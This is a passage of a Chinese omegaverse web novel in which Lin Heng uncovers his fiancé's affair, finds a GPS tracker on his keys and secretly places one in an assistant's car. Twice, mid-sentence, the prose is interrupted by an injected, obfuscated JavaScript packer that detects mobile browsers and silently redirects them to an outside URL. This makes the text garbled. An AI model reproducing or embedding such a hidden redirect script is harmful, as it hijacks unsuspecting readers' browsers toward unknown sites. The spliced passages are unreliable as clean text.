“我数到三,”林衡的睫毛扇了扇,细细密密:“我们一起摘下口罩,好不好。” 他吐字慢慢的,颀长的小指勾住耳边乌黑的细绳。 “一、二……” “女士。” 店员忽然开口了。 他淡色的眼瞳凝视着林衡,像一面清凌凌的镜子。 “你经常以这样惹人误会的方式,同陌生人交朋友吗?” 16. 等待进入网审 这句突如其来的诘问,让林衡微微怔住了。 他旋即笑了起来:“不用敬语了吗?” 店员的表情纹丝不变,眼睛直直地盯着他,卧在膝上的黑猫忽然喵了一声,轻盈地一跃而下。 报纸被撞得沙沙地颤,紫黑的花瓣眼泪似地垂落两滴,徐徐坠在雪白的地上。 林衡并拢了脚尖:“我有位朋友和你一样,说我语气太温和,容易给人错觉。而我却觉得他态度冷淡,边界感太强,总是拒人于千里之外……” “和他相处,觉得累吗?” 店员突然出声打断了。 “并不会。一开始确实要我更包容些,但赢得他的信任后,便会感受到他的主动、热情和坦诚。他很无私,总是以好友为先,会倾听我所有的烦恼,也愿意与我分享他拥有的一切。我们既互补,又相似,两人总能擦出奇妙的火花,和他共度的每一天都是快乐的。” “这样的关系,听起来不只是朋友。” 林衡眉毛一挑,随后又释然地笑笑:“我对他很偏爱,仅仅用‘友情’两个字,确实无法完整地概括对他的感觉。” 这句话有些朦胧,也有些暧昧,但在这位“陌生”的年轻人面前,不知为何竟坦率磊落地说出口了。 “只是很可惜,我们已经许多年没联络了,而你和他有些像,所以才觉得很亲切吧……” “因为失去了曾经的好友,所以不由自主地寻找他的同类吗?” “不。你是你,他是他……” 林衡忽然住了嘴,“一不小心说了很多,不好意思,打扰你休息了。” 他拂了拂长发,站起身来,同店员道别:“跟踪的事我会妥善解决的,谢谢你,我会准备好礼物,再来拜访你的。” “我先去上班了,下次见。” 林衡向店员挥挥手,随后便大踏步地迈出门,向门前驶过的出租车招手。 他能察觉得到,那位看似冷淡的店员,一直默默地目送着他,直到车门嘭地一声关上,鲜红的出租车驶离这段街道,才远远地消失不见。 瘫坐在这间移动的钢铁盒子里,林衡的神经总算彻底松弛了下来。 他合上眼皮,屈起指节按揉着太阳穴,梳理着杂乱的思绪,三分钟后,他按亮手机,同闻如峰打了个电话。 屏幕另一端的男人很体贴:“小衡,晚上我要见客户,不能和你吃晚餐了,晚上你先睡吧,不用等我了……” 确认未婚夫今晚不在家后,林衡飞快在购物网站上下单了红外探测器,又预定了换锁服务。 『平衡木:学姐,《欲在今宵》主创座谈会的主持人,你还有印象吧?[图片][图片][图片]』 林衡引用了陶青昨晚拍下的照片:『我有事想找他,有什么渠道可以联系到他吗?』 “青天大老爷”的消息回得飞快:『怎么,你看上他啦?打算退婚了?』 『不是』 『啊?难道是你未婚夫和他出轨了!你要去打小三了!我的天呐!』 林衡一惊,险些按出一连串省略号。 不得不承认,这位纪录片专业的博士生直觉敏锐得远超雷达。 『青天大老爷:昨天我和主办方的摄像师躲在后台抽烟,那家伙一脸八卦地冲着主持人挤眉弄眼,他说郁燃不但有一等一的皮相,还有数不清的花边新闻,暧昧对象如过江之鲫,主动找上门的不是想泡他的,就是来打小三的。说吧,你想对他做什么?』 原来他叫郁燃啊…… 他的确长了张高傲漂亮的脸,一打眼看过去,便知桃花极旺,不费吹灰之力就能斩获男男女女的倾慕,像呼吸喝水一样自然。 『平衡木:哪有这么夸张』 林衡斟酌了一会儿:『我有些事想找他打听下,能问到他的私人号码吗?』 『青天大老爷:够呛,我试试吧,一会儿再回你』 『平衡木:好』 十五分钟后,出租车停在了华锐大厦后门,林衡匆匆下车,搭乘货梯来到二楼,躲进洗手间里三下五除二地换衣服。在揭下口罩的一瞬,他的手机屏幕重新亮了起来: 『青天大老爷:郁燃身边的人都很谨慎,没人敢透露他的私人号码』 『青天大老爷:但我打听到了其他消息,明晚八点半,在浪潮会所,有一群公子哥包场开派对,郁燃是座上宾之一』 『青天大老爷:[图片][图片][图片]』 『青天大老爷:这是我朋友发给我的宾客名单,看看有没有你的熟人,可以让他把你带进去』 ——要和郁燃面谈吗? ——只要闻如峰不在场,倒也是个不错的选择。 林衡一目十行,快速浏览着拟邀名单,很好,没有“闻如峰”三个字,但也完全没有熟识的名字…… 他的视线忽然疾停在倒数第三行的格子里。 江耀清。 林衡一时愕然,长睫难以置信地连扇两下。 一向深居简出的耀清,真的会欣然赴约吗? 不太可能,按如峰的说法,他连商业应酬都能推就推,更别提这群二世祖的酒色场了。 虽然有些强人所难,但如果他肯去的话…… 林衡立刻盘算起来,明晚他约了耀清和阿程吃饭,如果双方聊得融洽,宾主尽欢,他顺势一提,即便耀清不愿应承,阿程肯定也会帮自己说话…… 想到这里,林衡不由得有些失神。 他和耀清曾是彼此最坚实的后盾,可如今提出再小的请求,都变得小心翼翼。 林衡苦笑一声,算了,先准备两份礼物吧。 他整理好仪容,趁四下无人,轻手蹑脚地溜进消防通道。上楼的间隙,林衡翻出某奢侈品牌SA的V信,下了订单后,他一边埋头走向工位,一边向耀清和阿程发短信: 『明晚七点,在芳泉餐厅的V01包厢见』 时隔七年,他和耀清终于能安静地坐下来,面对面地长谈一次了。 “一味道歉没有用,金钱赔偿更是毫无诚意。” 他的耳边回荡起昨夜耀清的声音。 “回去好好考虑,究竟怎样才是真正地帮助我。” 机会难得,他要先仔细研究,自己究竟对旧友造成了哪些伤害…… * 在接下来的半天里,林衡利用开会、等车、吃饭等一切间隙来检索耀清罹患的疾病。 他根据自己的记忆,将每个专有名词拆开来,查阅相应的释义、病例、援引的论文,确保基本理解后,给医学院的博士学长拨了通电话。 “如果你对病情的复述准确无误的话,七年前遭受强电击后,你朋友的腺体、心脏、视力、神经和精神都遭到严重损伤。这是终身性的,即便做过腺体修复手术,也无法百分百痊愈,如果体质好、程度轻的话,能治好个百分之七十吧……” 学长正在图书馆里赶论文,声音压得低低的:“只能注意保养、避免刺激、定期检查,如果指标异常,要及时治疗、服药控制。” “明白了……” 林衡吸紧了下唇内侧,在维修师傅拆卸门锁的滋滋声里,他一手扶着电话,一手端着红外线探测器,在黑暗的客厅里缓缓扫过。 “在体检报告单上,我看到了易感期紊乱、信息素异常等字样,有什么办法能缓解这些病症吗?” “很难吧。按你的说法,你朋友看过十一家医院,如果还是治不好的话,要么是病人配合度太低,要么就是太严重了。不过在腺体治疗方面,近几年国内确实有些新突破……” 学长沉吟了一会儿:“这样吧,我联系下我学姐,她是A大附属医院腺体科的主治医,明天早上赶在她出门诊之前,我带你找她一趟……” “太好了,谢谢学长。” 然而还没等林衡松一口气,耳边忽然传来学长八卦兮兮的声音,仿佛这句话已经忍了很久了: “话说小衡啊……你说的这个朋友,不会是你自己吧……” 林衡:“……” 如果可能,实话实说,他倒是希望能替耀清承受这一切。 林衡苦笑:“学长,我是Omega,又不是Alpha,哪儿来的易感期啊……” “这样啊……不过一般来说,一个Omega是不会如此关注一个Alpha的腺体健康吧,如果他们只是普通朋友的话……” 学长的语气很是意味深长:“你放心,学长学姐都是自己人,如果你男朋友真有生殖障碍,我们肯定不会瞒你的……” 林衡:“……” 林衡强行按下解释清楚的冲动:“谢谢学长。明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399186|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早几点见?” “晚点我通知你。对了,如果你男朋友真的很严重,你又铁了心陪他治,我学姐可以联系她博导陈丽才,陈老师是国内数一数二的大专家,经手过的疑难案例数不胜数,肯定能让你们重获□□……” 林衡被他说得脸上发烧、唇角直抽。 不过“陈丽才”这三个字,他似乎在哪里听到过…… 他想起来了——因他对闻如峰的信息素异常排斥,三天前他去明寿医院做了全面检查,医生建议他去看腺体科,去挂陈丽才老师的专家号。 或许他和耀清可以一同去看病…… 很难不说这是命运的安排。 “先生,门锁换好了。” 玄关处传来换锁师傅的声音:“您过来设置一下吧。” “好。学长,你先忙,等你论文交了我请你吃饭……” 林衡挂断电话,踢踢踏踏地赶去玄关大门前,在师傅的帮助下录入指纹。 “还可以设置密码,您需要吗?” 林衡躬下身来,键入了一串日期,“好了,谢谢。” “客气了。您再试一下,看看开门有没有问题……” 师傅一边收拾背包,一边搭话道:“您换下来的电子锁,还有别的用处吗?不如走平台回收了吧……” 林衡笑了笑:“还有用。” 他一面说着,一面启动了红外线探测器,手腕一转,探头正对着搁在玄关柜上的红色钥匙扣。 嘀、嘀、嘀—— 探测器发出了凄厉尖锐的警报声。 师傅一愣,他惊疑地看了眼钥匙牌:“……您这个钥匙扣上,被人装了GPS啊?” “是啊。” “那这套旧锁和旧钥匙可得留好了,这都是证据,我给您留个密封袋吧,您把它们装起来,到时候该报警报警,该……” 师傅突然住了嘴,干干地笑了一声。 能在钥匙上装GPS的人,大概率是家里人,怎么可能报警呢?他说话又不过脑子了。 “行,谢谢您,辛苦了。” 林衡倒没在意,他礼貌地送走了师傅,将证据三下五除二地装好,一路提回了书房。 『家里的旧锁坏了』 他坐进宽大的办公椅中,给闻如峰发消息:『我换了新的电子锁,密码是XXXX……』 闻如峰迟迟没回,想必是和情人在忙。 林衡按灭了手机,看了眼桌上的电子时钟。 时间是20点53分。 今天中午,在墨白咖啡里,他曾对跟踪他的私家侦探留下这样一句话: “回去通知你的雇主,让他今晚六点到九点之间,主动打电话给我,开诚布公地谈一谈。” 在窗外满月的清辉里,林衡双手交叠,默默熬过了漫长的七分钟。 他数着秒针清脆的迈步声,数得头皮突突地跳,便只好分散注意力,凝视着夜空中鳞片似的云絮。 从小到大,他经历过形形色色的失约,也曾体会过期待一次次落空,但唯独今晚,他企盼着能有所不同。 哪怕没有道歉,哪怕没有交流,哪怕只是在听筒两侧齐齐沉默,他都愿意将这视为改变的前兆。 可他守了又守,直到浑圆的明月从乌云堆里浮上来,绿植摇曳的影子斜斜地落在脚下,幽暗的书房内仍是一片沉寂,落地灯暗黄的光晕圈着他,世界像一汪凝固的、透明的琥珀。 他们又一次失联了,他发射了抗议的讯号,对方再一次拒收。 或许那人始终将他视作琥珀里的小虫,永远不会长大,二十五岁和十五岁没有什么不同。 21点02分,林衡拉开书柜门,将密封袋里的证据锁进了密码箱。 最迟五天。 当锁芯咔哒一声撞上时,林衡给自己定了期限。 五天之内,他会搬出这里,和他各走各的路。 林衡拿起手机,给“瑶池”拨了一通语音电话。 不出五秒,对面便接通了:“喂?” 是一道属于男性的低沉声线。 “你好,我是林衡。” 既然对方知道了自己的身份,林衡便不再掩饰,堂堂正正地报了姓名。 “今天中午在墨白咖啡的会面,是不是该完完整整地解释一下?” 17. 不委屈 “我是郁燃的未婚夫。” 十秒钟后,伴着这句有些突兀的开场白,“瑶池”缓缓道: “我说过,我和郁燃婚期将至,但我却收到了他出轨的证据。自此之后,我便雇私家侦探来调查,不仅调查郁燃,也调查他的情夫。” “关于那个男人的身份,侦探当天下午就发来了资料。他是万峰药业的大股东,是闻家的独生子,闻如峰。” 一阵落针可闻的沉默。 “接下来的几天,我几乎翻烂了他的照片和履历。或许是嫉妒心作祟,在我眼中,闻如峰不过是个普通的暴发户,我实在是想不通他到底有什么魔力,竟能将郁燃迷得神魂颠倒,于是我想方设法,动用一切关系,寻求和他近距离接触的机会。” “这个机会被我找到了,就在昨天,闻如峰举办了一场商业酒会。” “我托熟人把我带进会场,整整一晚,我的视线都没离开过他。一番观察后,说实话,实在是令人失望。从相貌到谈吐到人脉,这个姓闻的全都平平无奇。不过我却有了些新发现,是侦探的报告上没有提及的新发现,那就是闻如峰似乎有了交往对象。” “在他的身边,有一位年轻人,看起来和他颇为亲密。可一旦有人问起两人的关系,那个姓闻的就开始打太极。” “出于好奇,我凑过去旁听他们的交谈。很快我便得知了年轻人的名字,叫做林衡。” 听筒中又一次陷入短暂的寂静。 “世事就是这样奇妙。” 再开口时,“瑶池”的声音有些沙哑:“我不知道该怎样向你解释,在听到这个名字的瞬间,我是如何联想到你的。或许是因为你在论坛的网名叫‘平衡木’,而你的V信名又是‘独木成林’,两者叠加起来,恰巧是‘林衡’二字。” “我试着同其他宾客搭话,了解到‘林衡’在读研,他母亲的公司有经营不善的传闻,和我结识的新网友完全吻合。虽然这推断不算牢靠,但电光石火间,我却毫无理由地确信了,我未婚夫的出轨对象,就是新网友的未婚夫。” “带着这样的念头,再翻阅你我的聊天记录时,一切都变了味。” “为了培养感情,你将初恋割舍得一干二净,在冲突时次次忍让,不停地委屈自己。可与此同时,姓闻的却在外面花天酒地,和别人的伴侣偷情……他对待婚姻的态度,几乎等同于儿戏,甚至无法保证最基本的忠贞。” “你我同病相怜,都遭到了另一半的背叛,我想我不该沉默,不该眼睁睁地看着你赔上后半生。所以我下定决心,向你揭露真相,帮你悬崖勒马。” “对不起,我知道这太自以为是,更过分的是,我在毫无预告的情况下,直接约你在两人的幽会地点见面。直面血淋淋的真相,肯定很受伤吧,抱歉。” “但我想辩解两句,昨晚酒会结束后,已经晚上九点了,我的脑子不太清醒了,也做不到三言两语讲清来龙去脉,所以一时冲动,便约你亲自来撞破奸情。” “总而言之,我为我的不诚实道歉。如果你需要更多闻如峰出轨的证据,我可以提供给你。” 这番自白,可谓是言辞简练、逻辑顺畅、态度诚恳。 林衡的指腹摩挲着手机外壳:“方便的话,可以告诉我你的姓名吗?” “对不起,暂时不能。再给我一周时间,把事情彻底了结。” 看来也不算诚恳,还是藏了心思的。 男人读懂了林衡的沉吟:“我没有恶意。我所做的一切,无非是和你闲聊,约你见面,帮你认清枕边人的嘴脸。客观上来讲,没有对你造成妨害。” 这话确实有理,但林衡却嗅到一丝诡异的气味。 电话另一端的“瑶池”,游刃有余、侃侃而谈,没交代一句废话,仿佛精心排演过一般,让人不由得怀疑,他是不是在罗织谎言。 如果不是谎言,这一切真是太巧了。 在注册用户量超过百万的论坛上,一次偶然的发帖、几句随意的回复,就让两位遭到背叛的受害者相识了,伤害他们的甚至是同一对奸夫。 真是万中无一的概率。 林衡宁愿相信,“瑶池”早就盯上了他,掌握了他的常用网名,在社交平台上刻意蹲守,见他发帖便立刻冲上去,引导他撞破真相…… 若确实如此,“瑶池”会是谁呢? 得知闻如峰与林衡订婚的人寥寥无几,其中会有谁处心积虑地接近他,戳穿闻如峰出轨的事实,想方设法搅黄这桩婚事呢? 林衡的脑海中立时跳出一个名字。 郁燃。 身为闻如峰的情人,他的确有能力、有动机拆散这对貌合神离的未婚夫妻。 自称是郁燃未婚夫的“瑶池”,其真实身份,会不会是郁燃雇佣的私家侦探? 这念头越想越真,令林衡不由得掘地三尺,试图翻找更多细节。 忽然间,他眼前闪过墨白咖啡中的一幕。 今天中午,在那对“情侣”起身离开时,郁燃毫无预兆地与他隔空对视。 他的目光黏在林衡的小半张脸上,仔仔细细地端详,扫过眼窝、眉骨、鼻梁…… 有意思。 “有什么想问的吗?” 耳边传来了“瑶池”的提醒。 当然有,很多很多。 但林衡很清楚,对方不会说实话,只会用拖字诀敷衍下去。 “没有了。我心里有数了。” 明天晚上,他会混进派对现场,和郁燃面对面交涉。 所有的疑惑,就留给郁燃亲自解答。 林衡从桌上拉过笔记本,拇指推开钢笔帽,笔尖沙沙地划过纸页,留下一行行暗蓝的墨迹。 “无论如何,从结果来看,我都该向你说声谢谢。祝你接下来万事顺利,晚安。” “晚安。” 林衡挂断电话,窗外大风漫卷,在时强时弱的尖啸声里,他写写停停,明晚的计划逐渐在纸上成型。 从时间节点、到道具准备、到交涉的话术,他反复推敲,涂涂改改,直到客厅里隐隐传来电子锁的蜂鸣声。 闻如峰回来了。 林衡搁下笔,匆匆赶去玄关。 他面不改色地迎上去,帮晚归的未婚夫解下风衣:“家里的旧锁坏了,我找师傅换了个新的。密码记得住吗?” “还行,多按几遍就差不多了。” 闻如峰喝了酒,一副熏熏然的模样,他斜斜地前倾,整条左臂压在林衡的肩上,将人圈进怀里:“密码怎么像一串日期?嗯?” 他的喉管贴着林衡的后颈,声带浅浅的震,热烘烘的气流扑向耳尖。 林衡背部的肌肉霎时惊恐地绷紧了,恶寒过电似地蹿向头皮,连发根都跟着竖起来了。 Alpha的信息素夹杂着酒气,黏黏地吹向发情期敏感的腺体。 林衡屏着气,冷汗贴着鬓角,唰地泌了出来:“是我父母的结婚纪念日。” 闻如峰迷离地笑了下,他左手虎口微张,轻轻托住林衡的下颌,不施力地蹭了蹭,像一阵柔情的爱抚:“嗯,真孝顺……” 三十多岁的成功男人,有魅力且自知。尤其喝了酒,更是信心膨胀,孔雀开屏似的卖弄施展。 “等领了证、办了酒,就改成我们的结婚纪念日吧。” 他的嗓音带着醉后的颗粒感,颀长的手指有一下没一下地点着林衡的脸颊。 林衡越是不自在地瑟缩,他便越是恶意逗弄,指甲又轻又痒地刮着鼻梁:“害羞了?宝贝?” 这个亲昵的称谓一入耳,林衡的胃里瞬间翻江倒海。 伴随着男人嘴唇的开合、体温的飙升,玄关角落处的气味几乎浓到爆炸,烟焦油味又呛又苦又酸,浪潮般拍得林衡一个踉跄,连意识都跟着飞散了。 除却生理上的可怖冲击,某种巨大的荒谬感正以灭顶之势灌将下来。 闻如峰,他的未婚夫,分明刚刚还在和情人缠绵悱恻,怎么能转眼便同另一半耳鬓厮磨? 他竟能这么心安理得…… 他不觉得可耻吗? 林衡不知道自己是怎么忍下的,或许人在绝境都会爆发出异乎寻常的潜能。 他从头到脚都是麻的,他隐约听见了自己的声音,却感受不到嘴唇在动:“别闹了,快去睡吧……” 幸好他的大脑停摆了,如果能清楚地意识到自己说了什么,一定会控制不住地干呕。 耳后传来一阵轻浮的笑声:“好。” 那人故□□怜地揉了揉林衡柔软的唇角:“早点睡,宝贝。” 凭借着超出极限的意志力,林衡硬生生克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409353|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制住躲闪的本能,甚至还挤出个痉挛似的笑容。 闻如峰醉得厉害,没留意到未婚妻的异常,他松开怀抱,恋恋不舍地迈向卧室,放纵过后的身躯很是疲累,甚至脚下有点蹒跚。 在磕磕绊绊的脚步声里,林衡的身体像紧绷的弓弦,浑身的肌肉都跟着发疼,伴随着幅度越来越大的颤抖,满是酒气的风衣从臂弯里一点点滑下去…… 咔哒—— 犹如幻听一般,他的双耳捕捉到一丝关门声。 天旋地转。 林衡拔足狂奔,耳里嗡嗡直响,视野剧烈地晃动起来,一切都是流淌的色块。 等反应过来时,他已经趴在阳台冰冰凉的地砖上,胃部抽搐得像被重拳擂击,汗涔涔的五指紧抓着花盆边缘,正死去活来地伏地干呕。 他先是干呕,再是呛咳,汗水冲刷着苍白发青的面孔,两腮深深地凹了进去,脖颈迸出了粗壮的青筋。 咳到最后,他紧眯的两眼甚至涌出了生理性泪水,在淅沥的热流里,他条件反射地吸气,一声接一声,像一阵激烈的抽噎,仿佛受了天大的委屈。 可他却怀着一种奇特的清醒,一片混沌中,唯独那个念头像硬硬的石子,硌着他纤细的神经,让他疼得发抖,让他不得不清醒。 ——他不委屈,是他自作孽,这是他该得的下场。 ——为了金钱,为了父母,草率地步入婚姻,合该有这般下场。 嘭地一声,林衡瘫软在地上,满眼尽是雪花光点。 他手肘疼、膝盖疼、脚腕疼……或许遍体皆是淤青,他不晓得,只是丢了魂似地瞪着天花板,流汗流泪,眼前从模糊变得清晰,又从清晰变得模糊。 Alpha泛滥的信息素,让他恶心得浑身都脱力了。 真好笑。 林衡缓缓挪动手掌,摸索着麻木的脸颊,毫无知觉地揩干眼泪。 ——眼下的场景,难道不似曾相识吗? 有一道尖利的声音,在脑海中讽刺地诘问着。 ——同居的第一晚,你不就狼狈地蜷缩在露台干呕吗?这段关系的答案,难道不是一早就摊在眼前了吗? 是他优柔寡断。 是他自讨苦吃。 林衡忽然盖住了眼睛,自嘲地笑了两声。 三秒钟后,他猛地支起手肘,咬紧牙关,一鼓作气撑起了隐隐作痛的躯体。 不能自怨自艾了,更不能再浪费时间了。 和闻如峰相处的每一秒,都是可怕的消耗,是无尽的折磨。 方才的发泄,就是他最后的软弱了。 林衡迈出阳台,一边急促地喘着,一边反手带上拉门。 他用衣袖胡乱地擦了擦脸颊,将未干的泪痕和无用的感伤彻底抹去了。 他向后抓了抓额发,重新回到了玄关,躬下身体,伸出两指,小心地拎起了闻如峰落在地上的风衣。 将它挂在衣架上后,林衡咬着下唇,做了几秒心理建设。 默数五下后,他心一横,一头扎进风衣里。 像厌食症患者强迫自己进食一般,他逼着自己深深地呼吸,摄取布料上的种种气味。 发情期的Omega,嗅觉灵敏得惊人,他闻出了淡淡的酒气、烟焦油似的信息素、少许的香水味……却没有花束的香气,也没有植物的特殊气味。 闻过之后,他仍不放心,又打着手电照过风衣的每一寸,接着小心地检查了闻如峰的皮鞋。 确定毫无植物的碎屑后,他才暂且认定,他的未婚夫今晚没有给郁燃献上铺天盖地的黑色花海。 当然,他需要更多佐证。大量储备黑色鲜花的店家很少,头部的几家花店兴许做得到,明早他会打电话挨家问过去,看看有没有人今晚临时预定…… 看来在墨白咖啡里,闻如峰说要在郁燃家里铺满黑色鲜花,只是一句未成真的献媚罢了。 查这件事是为了什么呢? 林衡扫了扫衣襟,扶着玄关柜站起身来。 是为了找个由头,约见郁燃。 林衡捻着指腹,在射灯下伫立了一会儿,接着向书房慢慢踱去。 他想清楚了,他打算提笔在计划书上再补一行字。 既然闻如峰没送花,那就让耀清陪同自己,向郁燃献上这份“大礼”吧…… 18. 双人宴 十八点三十分,林衡靠在帕拉梅拉昏暗的后排座里,左手虚虚搭在车门上,静静凝视着窗外闪烁的霓虹灯。 银亮的车身在高架桥上疾奔,两侧的灯柱被不住地抛在身后,林衡别过头望去,紧盯着一粒粒缩小后融进夜色的亮斑,默默核对着今日的待办事项。 早上去A大附属医院见腺体科刘医生,再给银城最大的五家花店打电话问询;中午去商场挑一身酒吧聚会的行头,顺便去取送给耀清和阿程的礼物;下班前又收了几件快递…… 很好,全都按部就班地完成了,毫无遗漏。 “林先生,还有五分钟,就到芳泉餐厅了。” 驾驶位传来了唐助理的声音,他一面慢打方向盘,一面委婉地提醒道:“您和江总说一下?” 也是,如今的耀清,是德通集团的董事。 回到银城后,宴请的邀约如雪片一般,说不准贵人多忘事,把这次小小的聚会抛在脑后了。 『我快到芳泉餐厅了,你们不用急,慢慢来,包厢在顶层,V01』 按下发送键后,林衡琢磨两秒,又加了一句:『快到了告诉我,我下楼接你』 今晚这顿饭,除却道歉求和,他还有事相求,还指望着耀清带他去浪潮酒吧面见郁燃,自然要将礼貌做足,将姿态放低。 消息发给了两位客人,阿程那边如石沉大海,音讯全无,耀清那边倒有回应,是简练的四个字: 『谢谢,不用』 言简意赅,是江耀清对待生人的一贯作风。 林衡怔然地撂下手机,他忍不住幻想那人的情态,是不是同样坐在车里,略微垂着头,长睫扇了下,冷淡地敲出几个字。 他长大了,学会了遮掩自己的不耐烦,包装成冷淡的礼貌,客气地拉开距离。 不该再念着过去了,林衡自我劝诫着,那些毫无隔阂、毫无欺瞒的岁月,是被自己亲手毁去的,他是世上最没资格抱怨的人。 这样想着,他低头看向自己搁在膝上的双手。 窗外灯火的影子落下来,在他的掌纹里游动。光影时强时弱,忽明忽暗,唯独一处黑斑,应是玻璃上的污渍,稳稳地扎在右手心里。 林衡盯着它,眼珠转也不转,像是钻入了时间狭小的黑缝。 这里曾盘踞着凝固发黑的伤口——七年前的矿区四院,猩红泛紫的残霞里,他松开了高耸的铁栅栏,掌心里是沙土、是锈迹、是苍肿外翻的皮肉,他丢了魂似的转过身去,用满是血污的手揩了下眼泪。 泪水小河似地往下淌,痛彻心扉的他,脑中重放着方才惨烈的一幕幕。 当耀清被高大强壮的安保堵住嘴、捆住四肢、架起来拖行时,他疯了似的呼救,在院子外围捶打铁栏。 但这只是徒劳,他只得眼睁睁地看着那伙恶徒的影子越来越小,虫子似的钻进了铁灰色的矮楼…… 被铁刺割开的手心好疼,疼得他连嘴唇都在抽搐。 这乌黑狰狞的创口陪了他许久。他被救回深红图腾的营地,伤口被简单地包扎;他被火急火燎地送去二十公里外的医院,伤口被缝合处理;他的父母千里迢迢把他带回银城,他惊恐症发作跳窗,伤口又重新裂开…… 直到他被关进私立医院三个月后,他总算不再尖叫、不再绝食、不再提江耀清,护士陪他出门散步,在初冬灰蒙蒙的云层下,他张开手掌,接着空中飘下来的雪花。 雪花无声地歇在手心的疤痕上。 耀清过得好吗? 下一秒,他便忍不住将湿漉漉的掌心按在了脸上。 …… 林衡缓缓攥起了平摊的手掌,他已经能平静地面对旧事了。 痛感还残留着,心脏被捏爆一般的绝望感,时隔七年仍在烧灼神经末梢,只是他能熟练地操控自己,从负面情绪中迅速抽离。 “嘀——欢迎光临——” 在地下停车场的入口处,红白相间的横杆自动抬起了。 唐助理缓缓松开油门,轿车稳稳地沿着坡道下行:“林先生,晚餐结束后,您打我电话,我来接您回家。” “不用了。” 林衡回过魂来,“我打算约耀清阿程出去喝几杯。” “好,”唐助理笑声爽朗:“看来您和江总关系很铁啊。以前他和闻总见面,我负责接待,哪怕我磨破了嘴皮子,一而再再而三地邀约,他也不肯和我们上酒桌……” “他是卖阿程的面子。” 过了许久,久到轿车停在车位的白线里,林衡才徐徐回道:“单我一人,没本事请得动他。” 这话既是在推脱,也是说给自己听。 阿程和耀清的关系,无论是在酒会上,还是在私下里,始终没有确切的答复。 耀清不肯定也不否定,只是用言辞、用手势、用神态似是而非地暗示,暧昧地拨转着这个谜题。 就当他们是一对爱侣吧。 “哈哈怎么会呢,您说笑了……” 唐助理熄了火,拔了钥匙:“江总这种人,外冷内热,最念旧情了,只不过好些年没见,有点生疏了。只要您主动点,什么网球、电影展、马术比赛通通约上,不出一个月,二位的交情肯定更上一层楼了……” 唐助理一边说着,一边瞄着车内后视镜。 气氛冷森森的,唐助理渐渐哑了下去,莫名地不敢出声了。 林衡的左手虚握着右腕,视线抬也不抬,似有重重心事积在眼皮褶皱里:“如峰教你来劝我的?” 助理总算觉察到不对劲,他咧开嘴笑了下,啪地解了安全带,作势就要起身:“哪有,我就随口一提……十六七岁时朝夕相处的情谊,可谓是价值千金,是一辈子的财富……” 林衡摆摆手,示意对方不必下车替他开门。 他单手拎起后座上的枪灰色背包:“你怎么知道十六七岁时我和耀清朝夕相处?” 后视镜里,唐助理的表情僵了一瞬。 咔哒一声,林衡左手一推,长腿迈出车厢,“不用送了,我自己上楼,辛苦了。” 银亮的车门被带上了,嘭地一声轻响。 在轿车驶离的轰鸣里,林衡守在电梯前,盯着自己投在铅灰色宽门上的身影,忍不住用指节揉了揉眉心。 看来闻如峰私下调查未婚妻和江总的旧事了。 无妨,他一向谨言慎行,身正不怕影子斜,过去的事,就任闻如峰去查吧。 只要今晚不会打扰自己就好。 叮的一声,电梯门左右弹开,又缓缓合拢,载着孤身一人的乘客奔向顶层。 急速上升时,林衡按亮手机,点开某个APP,密闭的钢铁盒子令设备短暂地失去了信号,直到十秒钟后,他踏出轿厢,电子地图上的红点才加载成功。 “是林先生吗?” 刚一落脚,便有服务生热情地迎上来:“我带您去包厢。” 林衡点点头,他漫不经心地跟上服务生的步伐,目光却始终未曾离开屏幕。 地图上的红点迅速移动着,很快便驶离了芳泉酒店的阴影区域,接着调了个头,似乎要上高架,直奔城西而去。 看来唐助理回万峰大厦去了。 “林先生,您先请。” 服务生殷勤地撑开门,向林衡虚虚比了个手势。 林衡抬起视线,冲他点头致谢,从服务生身边掠过时,拇指从屏幕底端向上一滑,立时退出了方才的界面。 他不想让任何人发觉他在唐助理的车上装了定位器。 他做得很巧妙,下班前在公司拆了快递后,便匆匆钻进轿车,将攥在手心里的东西不着痕迹地贴在后座缝隙里。 有了这手准备,若是在他和郁燃对峙时,闻如峰突然赶来浪潮酒吧,他也能提前知悉,不至于太过被动。 林衡在桌边落座,服务生躬身替他添了柠檬水:“先生,要先来一份餐前面包吗?需不需要其他饮品?这里是酒水单……” “不用,等客人来吧。” “好的,我就在门外,有什么需要您随时……” “等等。” 林衡忽然叫停了。 包厢的光线幽幽的,灯影暗得心里发慌,像从缝隙里流进来似的,流进了被撬开一角、满是尘灰的旧匣子。 “你留在这里吧,不用去门外了。” 说这话时,他有些心虚,嘴唇冰冰凉,下半张脸都僵了。 一想到那个人,那个不知坐在哪辆车里,向他急速驶来的人,他就像被离弦之箭瞄准的靶子,木讷地呆立着,畏惧地倒数着,仿佛下一秒心肝脾肺就会被击穿。 被什么击穿?是眷恋,是痴迷,是爱恋吗? 都不是,他的脑中太拥挤了,挤满了忐忑、乏力、软弱……仿佛光滑的皮囊被翻了过来,人格上的缺点全部赤裸裸地暴露在外,让他惊恐又羞耻,手脚发凉,不知所措。 今晚他就要直面犯下的过错,这间空荡荡的房间里已经围满了一百个审判者。 叮—— 屏幕忽地亮起,将他的面孔照得煞白。 『到了』 林衡的喉结艰涩地移动着,时间被吞咽声拉得很长。 